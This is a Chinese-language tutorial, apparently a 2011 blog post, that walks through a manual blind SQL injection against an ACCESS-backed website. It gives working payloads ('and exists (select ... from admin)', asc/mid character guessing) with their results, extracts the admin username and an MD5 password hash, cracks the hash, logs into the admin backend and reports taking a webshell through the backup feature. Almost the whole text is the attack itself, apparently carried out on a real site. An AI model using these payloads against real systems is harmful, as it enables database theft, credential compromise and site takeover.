一篇ACCESS手工注射的文章
时间:2011-06-07 来源:丨顺⑦.zì繎、
1.and user>0 判断数据库类型(虽然刚才工具中已经判断出来了,但为了学习嘛,
从最基本的来)
看到回显中的Microsoft JET Database*** 错误我们可以断定是ACCESS数据库了
2.and exists (select * from 表名) 猜解表名,返回错误说明表名不存在,返回正常说
明表名存在
这里我们输入 and exists (select * from admin)
返回正常,说明我们输入的表明admin存在
3.exists (select 列名 from 表名) 猜解列名,依然是返回错误说明列名不存在,返回
正常说明列名存在
这里我们输入
and exists (select password from admin)
and exists (select adminname from admin)
返回正常,这样表名、列名就搞定了。
4.and (select top 1 len(列名) from 表名)>x 猜解列的长度。x是数字,列的长度,返
回错误说明正确列的长度就是x。变换top后的数字就可以猜解这个列的第N行长度了
这里我们输入 and (select top 1 len(adminname) from admin)>8 8错误,7不错,说
明8就是列的长度。
5.and (select top 1 asc(mid(列名,列数N,1)) from 表名)>x 关键步骤,猜解列内容。
top后的数字为该列的第N行,x为ASCII码,列数N就是在这一列中的第几个数字或字
母。例如,x取50正常,100错误,80正常,一直提交到96正常,97就错误,说明其
ASCII值为97
这里我们输入:and (select top 1 asc(mid(adminname,1,1)) from admin)>50
50正常 150错误,125错,110正常,115正常,120错。118正常,119错误,说明
第一位ASCII为119,转换下为w。
118回显正常
按照上面的方法,依次猜解出另外7位列内容,使用工具转换下。
第二位仍为119----w
第三位 25正常,50错误,48----g
第四位 48----0
第五位 46----.
第六位99-----c
第七位111-----o
第八位109------m
最终adminname列结果为 wg00.com
6.剩下的passwod列的内容猜解方法和上面一样。不过比较麻烦,需要耐心。因为一
般密码都是MD5加密了,需要猜解很多次。我这次就猜了16次,应该有其他的捷径,
希望高手看到不吝赐教。
and (select top 1 len(password) from admin)>16---16位MD5加密 猜解到password
列的长度为16为,16位MD5加密了。
password列的内容最终结果为:c6f4f454c781af4f 。去MD5加解密的网站查了一
下,结果和用户名一样:wg00.com。(好辛苦,幸亏MD5能解密出来,不然努力就
白费了)
7.使用默认的管理入口,输入辛苦猜解出来的用户名、密码,顺利登陆进去
后台有数据备份功能,简单拿下webshell,本次手工注入也得以结束!